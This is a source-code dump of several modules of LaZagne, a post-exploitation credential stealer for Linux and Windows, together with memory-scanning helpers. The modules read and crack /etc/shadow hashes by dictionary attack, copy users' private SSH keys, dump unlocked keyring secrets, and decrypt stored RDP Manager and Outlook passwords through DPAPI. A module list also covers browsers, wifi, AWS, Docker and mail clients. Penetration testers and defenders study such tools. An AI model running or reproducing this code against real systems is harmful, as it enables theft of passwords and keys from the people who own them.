| if self.type == 'unknown': 45 | all_types = ['uint', 46 | 'int', 47 | 'long', 48 | 'ulong', 49 | 'float', 50 | 'double', 51 | 'short', 52 | 'ushort'] 53 | else: 54 | all_types = [self.type] 55 | for type in all_types: 56 | if type not in new_iter: 57 | try: 58 | new_iter[type] = [ Address(x, self.mw.process, type) for x in self.mw.mem_search(value, type, start_offset=self.start, end_offset=self.end) ] 59 | except struct.error: 60 | new_iter[type] = [] 61 | else: 62 | l = [] 63 | for address in new_iter[type]: 64 | try: 65 | found = self.mw.process.read(address, type) 66 | if int(found) == int(value): 67 | l.append(Address(address, self.mw.process, type)) 68 | except Exception as e: 69 | pass 70 | 71 | new_iter[type] = l 72 | 73 | if erase_last: 74 | del self.last_iteration 75 | self.last_iteration = new_iter 76 | return new_iter 77 | 78 | def get_addresses(self): 79 | return self.last_iteration 80 | 81 | def diff(self, erase_last = False): 82 | return self.get_modified_addr(erase_last) 83 | 84 | def get_modified_addr(self, erase_last = False): 85 | last = self.last_iteration 86 | new = self.feed(self.last_value, erase_last=erase_last) 87 | ret = {} 88 | for type, l in last.iteritems(): 89 | typeset = set(new[type]) 90 | for addr in l: 91 | if addr not in typeset: 92 | if type not in ret: 93 | ret[type] = [] 94 | ret[type].append(addr) 95 | 96 | return ret 97 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/softwares/sysadmin/shadow.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | import crypt 4 | import os 5 | 6 | from lazagne.config.module_info import ModuleInfo 7 | from lazagne.config.dico import get_dic 8 | 9 | 10 | class Shadow(ModuleInfo): 11 | 12 | def __init__(self): 13 | ModuleInfo.__init__(self, 'shadow', 'sysadmin') 14 | 15 | def dictionary_attack(self, user, crypt_pwd): 16 | dic = get_dic() # By default 500 most famous passwords are used for the dictionary attack 17 | dic.insert(0, user) # Add the user on the list to found weak password (login equal password) 18 | 19 | # Different possible hash type 20 | # ID | Method 21 | # -------------------------------------------------------------------------- 22 | # 1 | MD5 23 | # 2 | Blowfish (not in mainline glibc; added in some Linux distributions) 24 | # 5 | SHA-256 (since glibc 2.7) 25 | # 6 | SHA-512 (since glibc 2.7) 26 | 27 | if '$' not in crypt_pwd: 28 | # Either malformed or old bcrypt password 29 | return False 30 | 31 | hash_type = crypt_pwd.split("$")[1] 32 | hash_algo = { 33 | '1': 'MD5', 34 | '2': 'Blowfish', 35 | '5': 'SHA-256', 36 | '6': 'SHA-512', # Used by all modern computers 37 | } 38 | 39 | # For Debug information 40 | for h_type in hash_algo: 41 | if h_type == hash_type: 42 | self.debug('[+] Hash type {algo} detected ...'.format(algo=hash_algo[h_type])) 43 | 44 | real_salt = '${hash_type}${salt}$'.format(hash_type=hash_type, salt=crypt_pwd.split("$")[2]) 45 | 46 | # -------------------------- Dictionary attack -------------------------- 47 | self.info('Dictionary Attack on the hash !!! ') 48 | try: 49 | for word in dic: 50 | try: 51 | crypt_word = crypt.crypt(word, real_salt) 52 | if crypt_word == crypt_pwd: 53 | return { 54 | 'Login': user, 55 | 'Password': word 56 | } 57 | except Exception as e: 58 | pass 59 | 60 | except (KeyboardInterrupt, SystemExit): 61 | self.debug(u'Dictionary attack interrupted') 62 | 63 | return False 64 | 65 | def run(self): 66 | # Need admin privilege 67 | if os.getuid() == 0: 68 | pwd_found = [] 69 | with open('/etc/shadow', 'r') as shadow_file: 70 | for line in shadow_file.readlines(): 71 | user_hash = line.replace('\n', '') 72 | line = user_hash.split(':') 73 | 74 | # Check if a password is defined 75 | if not line[1] in ['x', '*', '!']: 76 | user = line[0] 77 | crypt_pwd = line[1] 78 | 79 | # Try dictionary attack 80 | result = self.dictionary_attack(user, crypt_pwd) 81 | if result: 82 | pwd_found.append(result) 83 | 84 | else: 85 | # No clear text password found - save hash 86 | pwd_found.append({ 87 | 'Hash': ':'.join(user_hash.split(':')[1:]), 88 | 'Login': user_hash.split(':')[0].replace('\n', '') 89 | }) 90 | 91 | return pwd_found 92 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/config/manage_modules.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # keyring 4 | from lazagne.softwares.wallet.kde import Kde 5 | from lazagne.softwares.wallet.libsecret import Libsecret 6 | # browsers 7 | from lazagne.softwares.browsers.mozilla import firefox_browsers 8 | from lazagne.softwares.browsers.opera import Opera 9 | from lazagne.softwares.browsers.chromium_based import chromium_browsers 10 | # sysadmin 11 | from lazagne.softwares.sysadmin.apachedirectorystudio import ApacheDirectoryStudio 12 | from lazagne.softwares.sysadmin.filezilla import Filezilla 13 | from lazagne.softwares.sysadmin.fstab import Fstab 14 | from lazagne.softwares.sysadmin.env_variable import Env_variable 15 | from lazagne.softwares.sysadmin.shadow import Shadow 16 | from lazagne.softwares.sysadmin.aws import Aws 17 | from lazagne.softwares.sysadmin.ssh import Ssh 18 | from lazagne.softwares.sysadmin.docker import Docker 19 | from lazagne.softwares.sysadmin.cli import Cli 20 | from lazagne.softwares.sysadmin.gftp import gFTP 21 | from lazagne.softwares.sysadmin.keepassconfig import KeePassConfig 22 | from lazagne.softwares.sysadmin.grub import Grub 23 | # chats 24 | from lazagne.softwares.chats.pidgin import Pidgin 25 | from lazagne.softwares.chats.psi import PSI 26 | # mails 27 | from lazagne.softwares.mails.clawsmail import ClawsMail 28 | from lazagne.softwares.mails.thunderbird import Thunderbird 29 | # wifi 30 | from lazagne.softwares.wifi.wifi import Wifi 31 | from lazagne.softwares.wifi.wpa_supplicant import Wpa_supplicant 32 | # databases 33 | from lazagne.softwares.databases.squirrel import Squirrel 34 | from lazagne.softwares.databases.dbvis import DbVisualizer 35 | from lazagne.softwares.databases.sqldeveloper import SQLDeveloper 36 | 37 | # memory 38 | from lazagne.softwares.memory.mimipy import Mimipy 39 | 40 | # git 41 | from lazagne.softwares.git.gitforlinux import GitForLinux 42 | try: 43 | from lazagne.softwares.memory.memorydump import MemoryDump 44 | except ImportError: 45 | pass 46 | 47 | 48 | def get_categories(): 49 | category = { 50 | 'chats': {'help': 'Chat clients supported'}, 51 | 'sysadmin': {'help': 'SCP/SSH/FTP/FTPS clients supported'}, 52 | 'databases': {'help': 'SQL clients supported'}, 53 | 'mails': {'help': 'Email clients supported'}, 54 | 'memory': {'help': 'Retrieve passwords from memory'}, 55 | 'wifi': {'help': 'Wifi'}, 56 | 'browsers': {'help': 'Web browsers supported'}, 57 | 'wallet': {'help': 'Windows credentials (credential manager, etc.)'}, 58 | 'git': {'help': 'GIT clients supported'} 59 | } 60 | return category 61 | 62 | 63 | def get_modules(): 64 | module_names = [ 65 | ClawsMail(), 66 | Thunderbird(), 67 | DbVisualizer(), 68 | Env_variable(), 69 | ApacheDirectoryStudio(), 70 | Filezilla(), 71 | Fstab(), 72 | # Mozilla(), 73 | Opera(), 74 | # Chrome(), 75 | Pidgin(), 76 | PSI(), 77 | Shadow(), 78 | Aws(), 79 | Docker(), 80 | Ssh(), 81 | Cli(), 82 | gFTP(), 83 | KeePassConfig(), 84 | Grub(), 85 | SQLDeveloper(), 86 | Squirrel(), 87 | Wifi(), 88 | Wpa_supplicant(), 89 | Kde(), 90 | Libsecret(), 91 | Mimipy(), 92 | GitForLinux() 93 | ] 94 | 95 | # very long to execute 96 | # try: 97 | # module_names.append(MemoryDump()) 98 | # except: 99 | # pass 100 | 101 | return module_names + chromium_browsers + firefox_browsers 102 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/softwares/sysadmin/ssh.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | import os 4 | 5 | from lazagne.config.module_info import ModuleInfo 6 | from lazagne.config import homes 7 | 8 | 9 | class Ssh(ModuleInfo): 10 | def __init__(self): 11 | ModuleInfo.__init__(self, 'ssh', 'sysadmin') 12 | 13 | def get_ids(self): 14 | known = set() 15 | for user, identity in homes.users(file=[ 16 | os.path.join('.ssh', item) for item in ( 17 | 'id_rsa', 'id_dsa', 'id_ecdsa', 'id_ed25519' 18 | ) 19 | ]): 20 | if os.path.isfile(identity): 21 | try: 22 | with open(identity) as fidentity: 23 | yield { 24 | 'KEY': fidentity.read(), 25 | 'User': user, 26 | } 27 | known.add(identity) 28 | except Exception: 29 | pass 30 | 31 | for user, config in self.get_configs(): 32 | for pw in self.get_ids_from_config(user, config): 33 | if pw['KEY'] in known: 34 | continue 35 | 36 | try: 37 | with open(pw['KEY']) as fidentity: 38 | pw['KEY'] = fidentity.read() 39 | yield pw 40 | known.add(identity) 41 | except Exception: 42 | pass 43 | 44 | def get_configs(self): 45 | return homes.users(file=os.path.join('.ssh', 'config')) 46 | 47 | def create_pw_object(self, identity, host, port, user): 48 | pw = {'KEY': identity} 49 | if host: 50 | pw['Host'] = host 51 | if port: 52 | pw['Port'] = port 53 | if user: 54 | pw['Login'] = user 55 | return pw 56 | 57 | def get_ids_from_config(self, default_user, config): 58 | try: 59 | hostname = None 60 | port = 22 61 | user = default_user 62 | identity = None 63 | 64 | with open(config) as fconfig: 65 | for line in fconfig.readlines(): 66 | line = line.strip() 67 | 68 | if line.startswith('#'): 69 | continue 70 | 71 | line = line.split() 72 | if len(line) < 2: 73 | continue 74 | 75 | cmd, args = line[0].lower(), line[1:] 76 | args = ' '.join([x for x in args if x]) 77 | 78 | if cmd == 'host': 79 | if identity: 80 | yield self.create_pw_object( 81 | identity, hostname, port, user 82 | ) 83 | 84 | hostname = None 85 | port = 22 86 | user = default_user 87 | identity = None 88 | 89 | elif cmd == 'hostname': 90 | hostname = args 91 | 92 | elif cmd == 'user': 93 | user = args 94 | 95 | elif cmd == 'identityfile': 96 | if args.startswith('~/'): 97 | args = config[:config.find('.ssh')] + args[2:] 98 | identity = args 99 | 100 | if identity: 101 | yield self.create_pw_object( 102 | identity, hostname, port, user 103 | ) 104 | 105 | except Exception as e: 106 | pass 107 | 108 | def run(self): 109 | return list(self.get_ids()) 110 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/config/lib/memorpy/utils.py: -------------------------------------------------------------------------------- 1 | # Author: Nicolas VERDIER 2 | # This file is part of memorpy. 3 | # 4 | # memorpy is free software: you can redistribute it and/or modify 5 | # it under the terms of the GNU General Public License as published by 6 | # the Free Software Foundation, either version 3 of the License, or 7 | # (at your option) any later version. 8 | # 9 | # memorpy is distributed in the hope that it will be useful, 10 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | # GNU General Public License for more details. 13 | # 14 | # You should have received a copy of the GNU General Public License 15 | # along with memorpy. If not, see . 16 | 17 | import re 18 | import struct 19 | 20 | def re_to_unicode(s): 21 | newstring = '' 22 | for c in s: 23 | newstring += re.escape(c) + '\\x00' 24 | 25 | return newstring 26 | 27 | 28 | def type_unpack(type): 29 | """ return the struct and the len of a particular type """ 30 | type = type.lower() 31 | s = None 32 | l = None 33 | if type == 'short': 34 | s = 'h' 35 | l = 2 36 | elif type == 'ushort': 37 | s = 'H' 38 | l = 2 39 | elif type == 'int': 40 | s = 'i' 41 | l = 4 42 | elif type == 'uint': 43 | s = 'I' 44 | l = 4 45 | elif type == 'long': 46 | s = 'l' 47 | l = 4 48 | elif type == 'ulong': 49 | s = 'L' 50 | l = 4 51 | elif type == 'float': 52 | s = 'f' 53 | l = 4 54 | elif type == 'double': 55 | s = 'd' 56 | l = 8 57 | else: 58 | raise TypeError('Unknown type %s' % type) 59 | return ('<' + s, l) 60 | 61 | 62 | def hex_dump(data, addr = 0, prefix = '', ftype = 'bytes'): 63 | """ 64 | function originally from pydbg, modified to display other types 65 | """ 66 | dump = prefix 67 | slice = '' 68 | if ftype != 'bytes': 69 | structtype, structlen = type_unpack(ftype) 70 | for i in range(0, len(data), structlen): 71 | if addr % 16 == 0: 72 | dump += ' ' 73 | for char in slice: 74 | if ord(char) >= 32 and ord(char) <= 126: 75 | dump += char 76 | else: 77 | dump += '.' 78 | 79 | dump += '\n%s%08X: ' % (prefix, addr) 80 | slice = '' 81 | tmpval = 'NaN' 82 | try: 83 | packedval = data[i:i + structlen] 84 | tmpval = struct.unpack(structtype, packedval)[0] 85 | except Exception as e: 86 | print(e) 87 | 88 | if tmpval == 'NaN': 89 | dump += '{:<15} '.format(tmpval) 90 | elif ftype == 'float': 91 | dump += '{:<15.4f} '.format(tmpval) 92 | else: 93 | dump += '{:<15} '.format(tmpval) 94 | addr += structlen 95 | 96 | else: 97 | for byte in data: 98 | if addr % 16 == 0: 99 | dump += ' ' 100 | for char in slice: 101 | if ord(char) >= 32 and ord(char) <= 126: 102 | dump += char 103 | else: 104 | dump += '.' 105 | 106 | dump += '\n%s%08X: ' % (prefix, addr) 107 | slice = '' 108 | dump += '%02X ' % byte 109 | slice += chr(byte) 110 | addr += 1 111 | 112 | remainder = addr % 16 113 | if remainder != 0: 114 | dump += ' ' * (16 - remainder) + ' ' 115 | for char in slice: 116 | if ord(char) >= 32 and ord(char) <= 126: 117 | dump += char 118 | else: 119 | dump += '.' 120 | 121 | return dump + '\n' 122 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/softwares/wallet/libsecret.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | from lazagne.config.constant import constant 4 | from lazagne.config.module_info import ModuleInfo 5 | from lazagne.config import homes 6 | from binascii import hexlify 7 | import traceback 8 | 9 | try: 10 | import jeepney.auth 11 | # except ImportError: 12 | except Exception: 13 | pass 14 | else: 15 | # Thanks to @mitya57 for its Work around 16 | def make_auth_external(): 17 | hex_uid = hexlify(str(make_auth_external.uid).encode('ascii')) 18 | return b'AUTH EXTERNAL %b\r\n' % hex_uid 19 | jeepney.auth.make_auth_external = make_auth_external 20 | 21 | 22 | class Libsecret(ModuleInfo): 23 | def __init__(self): 24 | ModuleInfo.__init__(self, 'libsecret', 'wallet') 25 | 26 | def run(self): 27 | items = [] 28 | visited = set() 29 | try: 30 | import dbus 31 | import secretstorage 32 | import datetime 33 | except ImportError as e: 34 | self.error('libsecret: {0}'.format(e)) 35 | return [] 36 | 37 | for uid, session in homes.sessions(): 38 | try: 39 | # List bus connection names 40 | bus = dbus.bus.BusConnection(session) 41 | if 'org.freedesktop.secrets' not in [str(x) for x in bus.list_names()]: 42 | continue 43 | except Exception: 44 | self.error(traceback.format_exc()) 45 | continue 46 | 47 | collections = None 48 | try: 49 | # Python 2.7 50 | collections = list(secretstorage.collection.get_all_collections(bus)) 51 | except Exception: 52 | pass 53 | 54 | if not collections: 55 | try: 56 | # Python 3 57 | from jeepney.integrate.blocking import connect_and_authenticate 58 | make_auth_external.uid = uid 59 | bus = connect_and_authenticate(session) 60 | collections = secretstorage.get_all_collections(bus) 61 | except Exception: 62 | self.error(traceback.format_exc()) 63 | continue 64 | 65 | for collection in collections: 66 | if collection.is_locked(): 67 | continue 68 | 69 | label = collection.get_label() 70 | if label in visited: 71 | continue 72 | 73 | visited.add(label) 74 | 75 | try: 76 | storage = collection.get_all_items() 77 | except Exception: 78 | self.error(traceback.format_exc()) 79 | continue 80 | 81 | for item in storage: 82 | values = { 83 | 'created': str(datetime.datetime.fromtimestamp(item.get_created())), 84 | 'modified': str(datetime.datetime.fromtimestamp(item.get_modified())), 85 | 'content-type': item.get_secret_content_type(), 86 | 'label': item.get_label(), 87 | 'Password': item.get_secret().decode('utf8'), 88 | 'collection': label, 89 | } 90 | 91 | # for k, v in item.get_attributes().iteritems(): 92 | # values[unicode(k)] = unicode(v) 93 | items.append(values) 94 | if item.get_label().endswith('Safe Storage'): 95 | constant.chrome_storage.append(item.get_secret()) 96 | 97 | try: 98 | bus.flush() 99 | bus.close() 100 | except Exception: 101 | pass 102 | 103 | return items 104 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/config/lib/memorpy/utils.py: -------------------------------------------------------------------------------- 1 | # Author: Nicolas VERDIER 2 | # This file is part of memorpy. 3 | # 4 | # memorpy is free software: you can redistribute it and/or modify 5 | # it under the terms of the GNU General Public License as published by 6 | # the Free Software Foundation, either version 3 of the License, or 7 | # (at your option) any later version. 8 | # 9 | # memorpy is distributed in the hope that it will be useful, 10 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | # GNU General Public License for more details. 13 | # 14 | # You should have received a copy of the GNU General Public License 15 | # along with memorpy. If not, see . 16 | 17 | import re 18 | import struct 19 | 20 | def re_to_unicode(s): 21 | newstring = '' 22 | for c in s: 23 | newstring += re.escape(c) + '\\x00' 24 | 25 | return newstring 26 | 27 | 28 | def type_unpack(type): 29 | """ return the struct and the len of a particular type """ 30 | type = type.lower() 31 | s = None 32 | l = None 33 | if type == 'short': 34 | s = 'h' 35 | l = 2 36 | elif type == 'ushort': 37 | s = 'H' 38 | l = 2 39 | elif type == 'int': 40 | s = 'i' 41 | l = 4 42 | elif type == 'uint': 43 | s = 'I' 44 | l = 4 45 | elif type == 'long': 46 | s = 'l' 47 | l = 4 48 | elif type == 'ulong': 49 | s = 'L' 50 | l = 4 51 | elif type == 'float': 52 | s = 'f' 53 | l = 4 54 | elif type == 'double': 55 | s = 'd' 56 | l = 8 57 | else: 58 | raise TypeError('Unknown type %s' % type) 59 | return ('<' + s, l) 60 | 61 | 62 | def hex_dump(data, addr = 0, prefix = '', ftype = 'bytes'): 63 | """ 64 | function originally from pydbg, modified to display other types 65 | """ 66 | dump = prefix 67 | slice = '' 68 | if ftype != 'bytes': 69 | structtype, structlen = type_unpack(ftype) 70 | for i in range(0, len(data), structlen): 71 | if addr % 16 == 0: 72 | dump += ' ' 73 | for char in slice: 74 | if ord(char) >= 32 and ord(char) <= 126: 75 | dump += char 76 | else: 77 | dump += '.' 78 | 79 | dump += '\n%s%08X: ' % (prefix, addr) 80 | slice = '' 81 | tmpval = 'NaN' 82 | try: 83 | packedval = data[i:i + structlen] 84 | tmpval = struct.unpack(structtype, packedval)[0] 85 | except Exception as e: 86 | print(e) 87 | 88 | if tmpval == 'NaN': 89 | dump += '{:<15} '.format(tmpval) 90 | elif ftype == 'float': 91 | dump += '{:<15.4f} '.format(tmpval) 92 | else: 93 | dump += '{:<15} '.format(tmpval) 94 | addr += structlen 95 | 96 | else: 97 | for byte in data: 98 | if addr % 16 == 0: 99 | dump += ' ' 100 | for char in slice: 101 | if ord(char) >= 32 and ord(char) <= 126: 102 | dump += char 103 | else: 104 | dump += '.' 105 | 106 | dump += '\n%s%08X: ' % (prefix, addr) 107 | slice = '' 108 | dump += '%02X ' % byte 109 | slice += chr(byte) 110 | addr += 1 111 | 112 | remainder = addr % 16 113 | if remainder != 0: 114 | dump += ' ' * (16 - remainder) + ' ' 115 | for char in slice: 116 | if ord(char) >= 32 and ord(char) <= 126: 117 | dump += char 118 | else: 119 | dump += '.' 120 | 121 | return dump + '\n' 122 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/sysadmin/rdpmanager.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import base64 3 | 4 | from xml.etree.cElementTree import ElementTree 5 | 6 | from lazagne.config.module_info import ModuleInfo 7 | from lazagne.config.winstructure import Win32CryptUnprotectData 8 | from lazagne.config.constant import constant 9 | 10 | import os 11 | 12 | 13 | class RDPManager(ModuleInfo): 14 | def __init__(self): 15 | ModuleInfo.__init__(self, 'rdpmanager', 'sysadmin', winapi_used=True) 16 | 17 | def decrypt_password(self, encrypted_password): 18 | try: 19 | decoded = base64.b64decode(encrypted_password) 20 | password_decrypted_bytes = Win32CryptUnprotectData(decoded, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi) 21 | password_decrypted = password_decrypted_bytes.decode("utf-8") 22 | password_decrypted = password_decrypted.replace('\x00', '') 23 | except Exception: 24 | password_decrypted = encrypted_password.replace('\x00', '') 25 | return password_decrypted 26 | 27 | def format_output_tag(self, tag): 28 | tag = tag.lower() 29 | if 'username' in tag: 30 | tag = 'Login' 31 | elif 'hostname' in tag: 32 | tag = 'URL' 33 | return tag.capitalize() 34 | 35 | def check_tag_content(self, values, c): 36 | if 'password' in c.tag.lower(): 37 | values['Password'] = self.decrypt_password(c.text) 38 | else: 39 | tag = self.format_output_tag(c.tag) 40 | values[tag] = c.text 41 | return values 42 | 43 | def parse_element(self, root, element): 44 | pwd_found = [] 45 | try: 46 | for r in root.findall(element): 47 | values = {} 48 | for child in r.getchildren(): 49 | if child.tag == 'properties': 50 | for c in child.getchildren(): 51 | values = self.check_tag_content(values, c) 52 | elif child.tag == 'logonCredentials': 53 | for c in child.getchildren(): 54 | values = self.check_tag_content(values, c) 55 | else: 56 | values = self.check_tag_content(values, child) 57 | if values: 58 | pwd_found.append(values) 59 | except Exception as e: 60 | self.debug(str(e)) 61 | 62 | return pwd_found 63 | 64 | def run(self): 65 | settings = [ 66 | os.path.join(constant.profile['LOCALAPPDATA'], 67 | u'Microsoft Corporation\\Remote Desktop Connection Manager\\RDCMan.settings'), 68 | os.path.join(constant.profile['LOCALAPPDATA'], 69 | u'Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings') 70 | ] 71 | 72 | for setting in settings: 73 | if os.path.exists(setting): 74 | self.debug(u'Setting file found: {setting}'.format(setting=setting)) 75 | 76 | tree = ElementTree(file=setting) 77 | root = tree.getroot() 78 | pwd_found = [] 79 | 80 | elements = [ 81 | 'CredentialsProfiles/credentialsProfiles/credentialsProfile', 82 | 'DefaultGroupSettings/defaultSettings/logonCredentials', 83 | 'file/server', 84 | ] 85 | 86 | for element in elements: 87 | pwd_found += self.parse_element(root, element) 88 | 89 | try: 90 | for r in root.find('FilesToOpen'): 91 | if os.path.exists(r.text): 92 | self.debug(u'New setting file found: %s' % r.text) 93 | pwd_found += self.parse_xml(r.text) 94 | except Exception: 95 | pass 96 | 97 | return pwd_found 98 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/mails/outlook.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | try: 3 | import _winreg as winreg 4 | except ImportError: 5 | import winreg 6 | 7 | import lazagne.config.winstructure as win 8 | from lazagne.config.module_info import ModuleInfo 9 | from lazagne.config.constant import constant 10 | 11 | 12 | class Outlook(ModuleInfo): 13 | def __init__(self): 14 | ModuleInfo.__init__(self, 'outlook', 'mails', registry_used=True, winapi_used=True) 15 | 16 | def trySingleKey(self, keyPath): 17 | try: 18 | hkey = win.OpenKey(win.HKEY_CURRENT_USER, keyPath) 19 | except Exception as e: 20 | self.debug(e) 21 | return 22 | 23 | num = winreg.QueryInfoKey(hkey)[0] 24 | pwd_found = [] 25 | for x in range(0, num): 26 | name = winreg.EnumKey(hkey, x) 27 | skey = win.OpenKey(hkey, name, 0, win.ACCESS_READ) 28 | 29 | num_skey = winreg.QueryInfoKey(skey)[0] 30 | if num_skey != 0: 31 | for y in range(0, num_skey): 32 | name_skey = winreg.EnumKey(skey, y) 33 | sskey = win.OpenKey(skey, name_skey) 34 | num_sskey = winreg.QueryInfoKey(sskey)[1] 35 | 36 | for z in range(0, num_sskey): 37 | k = winreg.EnumValue(sskey, z) 38 | if 'password' in k[0].lower(): 39 | values = self.retrieve_info(sskey, name_skey) 40 | 41 | if values: 42 | pwd_found.append(values) 43 | 44 | winreg.CloseKey(skey) 45 | winreg.CloseKey(hkey) 46 | return pwd_found 47 | 48 | def retrieve_info(self, hkey, name_key): 49 | values = {} 50 | num = winreg.QueryInfoKey(hkey)[1] 51 | for x in range(0, num): 52 | k = winreg.EnumValue(hkey, x) 53 | if 'password' in k[0].lower(): 54 | try: 55 | password_bytes = win.Win32CryptUnprotectData(k[1][1:], is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi) 56 | # password_bytes is + b'\x00\x00' 57 | terminator = b'\x00\x00' 58 | if password_bytes.endswith(terminator): 59 | password_bytes = password_bytes[: -len(terminator)] 60 | 61 | values[k[0]] = password_bytes.decode("utf-16") 62 | except Exception as e: 63 | self.debug(str(e)) 64 | values[k[0]] = 'N/A' 65 | else: 66 | try: 67 | values[k[0]] = str(k[1]).decode('utf16') 68 | except Exception: 69 | values[k[0]] = str(k[1]) 70 | return values 71 | 72 | def run(self): 73 | # https://github.com/0Fdemir/OutlookPasswordRecovery/blob/master/OutlookPasswordRecovery/Module1.vb 74 | key_paths = { 75 | "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", 76 | "Software\\Microsoft\\Windows Messaging Subsystem\\Profiles", 77 | } 78 | # https://docs.microsoft.com/en-us/previous-versions/office/jj228679(v=office.15) 79 | major_versions = { 80 | "7.0", # Office 97 81 | "8.0", # Office 98 82 | "9.0", # Office 2000 83 | "10.0", # Office XP 84 | "11.0", # Office 2003 85 | "12.0", # Office 2007 86 | "14.0", # Office 2010 87 | "15.0", # Office 2013 88 | "16.0", # Office 2016 89 | "16.0", # Office 2019 90 | } 91 | key_paths.update("Software\\Microsoft\\Office\\%s\\Outlook\\Profiles\\Outlook" % x for x in major_versions) 92 | for key_path in key_paths: 93 | result = self.trySingleKey(keyPath=key_path) 94 | if not result is None: 95 | return result 96 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/config/lib/memorpy/Address.py: -------------------------------------------------------------------------------- 1 | # Author: Nicolas VERDIER 2 | # This file is part of memorpy. 3 | # 4 | # memorpy is free software: you can redistribute it and/or modify 5 | # it under the terms of the GNU General Public License as published by 6 | # the Free Software Foundation, either version 3 of the License, or 7 | # (at your option) any later version. 8 | # 9 | # memorpy is distributed in the hope that it will be useful, 10 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | # GNU General Public License for more details. 13 | # 14 | # You should have received a copy of the GNU General Public License 15 | # along with memorpy. If not, see . 16 | 17 | from .utils import * 18 | 19 | class AddressException(Exception): 20 | pass 21 | 22 | 23 | class Address(object): 24 | """ this class is used to have better representation of memory addresses """ 25 | 26 | def __init__(self, value, process, default_type = 'uint'): 27 | self.value = int(value) 28 | self.process = process 29 | self.default_type = default_type 30 | self.symbolic_name = None 31 | 32 | def read(self, type = None, maxlen = None, errors='raise'): 33 | if maxlen is None: 34 | try: 35 | int(type) 36 | maxlen = int(type) 37 | type = None 38 | except: 39 | pass 40 | 41 | if not type: 42 | type = self.default_type 43 | if not maxlen: 44 | return self.process.read(self.value, type=type, errors=errors) 45 | else: 46 | return self.process.read(self.value, type=type, maxlen=maxlen, errors=errors) 47 | 48 | def write(self, data, type = None): 49 | if not type: 50 | type = self.default_type 51 | return self.process.write(self.value, data, type=type) 52 | 53 | def symbol(self): 54 | return self.process.get_symbolic_name(self.value) 55 | 56 | def get_instruction(self): 57 | return self.process.get_instruction(self.value) 58 | 59 | def dump(self, ftype = 'bytes', size = 512, before = 32): 60 | buf = self.process.read_bytes(self.value - before, size) 61 | print(hex_dump(buf, self.value - before, ftype=ftype)) 62 | 63 | def __nonzero__(self): 64 | return self.value is not None and self.value != 0 65 | 66 | def __add__(self, other): 67 | return Address(self.value + int(other), self.process, self.default_type) 68 | 69 | def __sub__(self, other): 70 | return Address(self.value - int(other), self.process, self.default_type) 71 | 72 | def __repr__(self): 73 | if not self.symbolic_name: 74 | self.symbolic_name = self.symbol() 75 | return str('') 76 | 77 | def __str__(self): 78 | if not self.symbolic_name: 79 | self.symbolic_name = self.symbol() 80 | return str('' % (str(self.read()).encode('unicode_escape'), self.default_type)) 81 | 82 | def __int__(self): 83 | return int(self.value) 84 | 85 | def __hex__(self): 86 | return hex(self.value) 87 | 88 | def __get__(self, instance, owner): 89 | return self.value 90 | 91 | def __set__(self, instance, value): 92 | self.value = int(value) 93 | 94 | def __lt__(self, other): 95 | return self.value < int(other) 96 | 97 | def __le__(self, other): 98 | return self.value <= int(other) 99 | 100 | def __eq__(self, other): 101 | return self.value == int(other) 102 | 103 | def __ne__(self, other): 104 | return self.value != int(other) 105 | 106 | def __gt__(self, other): 107 | return self.value > int(other) 108 | 109 | def __ge__(self, other): 110 | return self.value >= int(other) 111 | 112 | --------------------------------------------------------------------------------